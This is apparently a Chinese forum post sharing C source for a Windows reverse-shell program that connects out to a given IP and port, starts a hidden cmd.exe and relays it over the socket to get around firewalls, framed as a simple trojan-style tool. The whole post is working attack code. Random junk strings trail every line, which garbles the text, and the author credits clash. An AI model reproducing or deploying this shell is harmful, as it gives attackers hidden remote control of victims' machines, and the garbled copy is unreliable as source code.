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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JNaW> X$K  
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/* ============================== At(9)6n8  
Rebound port in Windows NT [QbXj0en$  
By wind,2006/7 .Qt3!ek  
===============================*/ zfb _ )  
#include c0&'rxi( B  
#include 6t:c]G'J  
'I]"=O,  
#pragma comment(lib,"wsock32.lib") ^kvH/Y&  
Mj B[5:s  
void OutputShell(); >e;STU  
SOCKET sClient; Jt6J'MOq  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ap^=CEf   
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void main(int argc,char **argv) 1omvE9 %zM  
{ .4> s2  
WSADATA stWsaData; &.hRVW(  
int nRet; |"qB2.[  
SOCKADDR_IN stSaiClient,stSaiServer; ~C'nBV  
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if(argc != 3) `uVW<z{ l  
{ ;6nZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); b:Kw_Q  
return; b U]N^og^  
} ==1/N{{R  
i8_x1=A  
WSAStartup(MAKEWORD(2,2),&stWsaData); U!:!]DX(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %:KV2GP  
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stSaiClient.sin_family = AF_INET; q_y,j&  
stSaiClient.sin_port = htons(0); DXW?;|8)O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8$ZSF92C  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9}cuAVI  
{ /}`/i(k  
printf("Bind Socket Failed!\n"); w"agn}CK  
return; / 7XdV  
} Pmlgh&Z  
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stSaiServer.sin_family = AF_INET; %K'*P56  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m}[~A@qD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N5s|a5  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i `QK'=h[  
{ C2rj]t  
printf("Connect Error!"); /lB0>Us  
return; ynZ[c8.  
} ;K\N  
OutputShell(); C6UMc} 9h  
} >Y-TwD aE  
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void OutputShell() ^[}0&_L w  
{ 0j!ke1C&C  
char szBuff[1024]; 8V|jL?a~  
SECURITY_ATTRIBUTES stSecurityAttributes; ;Z1U@2./  
OSVERSIONINFO stOsversionInfo; R P:F<`DB|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]Wd`GI  
STARTUPINFO stStartupInfo; y C0f/O  
char *szShell; $dTfvd  
PROCESS_INFORMATION stProcessInformation; 9id~NNr7  
unsigned long lBytesRead; %C`'>,t>  
O {6gNR,*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Eqmv`Z [_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6!%d-Z7)  
stSecurityAttributes.lpSecurityDescriptor = 0; b^,Mw8KsO  
stSecurityAttributes.bInheritHandle = TRUE; _SIs19"lR  
+GYMJK`S+  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8#]7`o  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )xvx6?Ah|  
^UvK~5tBV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9MB\z"b?A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6+ $d  
stStartupInfo.wShowWindow = SW_HIDE; KtU GI.X  
stStartupInfo.hStdInput = hReadPipe; 40Qzo%eL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mE^tzyh  
J4[x,(iq(  
GetVersionEx(&stOsversionInfo); Stw+Dm\!  
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switch(stOsversionInfo.dwPlatformId) a|P~LMPM  
{ YKe0:cWc  
case 1: $]%<r?MUb-  
szShell = "command.com"; -[=AlqL  
break; AZy~Q9Kc  
default: -':"6\W  
szShell = "cmd.exe"; noaN@K[GO  
break; RZd4(7H=q  
} 7"n1it[RJ8  
Lk`k>Nn)  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /;<e.  
#'4<> G]  
send(sClient,szMsg,77,0); pcuMGo-#  
while(1) yF/< :  
{ *{.&R9#7U'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s0)qlm*  
if(lBytesRead) p&OJa$N$[  
{ V+=*2?1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 53`9^|:  
send(sClient,szBuff,lBytesRead,0); 9uw,-0*5  
} h nsa)@  
else @0vC v  
{ Tw`c6^%^y  
lBytesRead=recv(sClient,szBuff,1024,0); iM/*&O}  
if(lBytesRead<=0) break; tB,.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g]Xzio&w  
} 68p\WheCal  
} ^A 11h6I  
u+z .J4w  
return; Ufaqhh  
}
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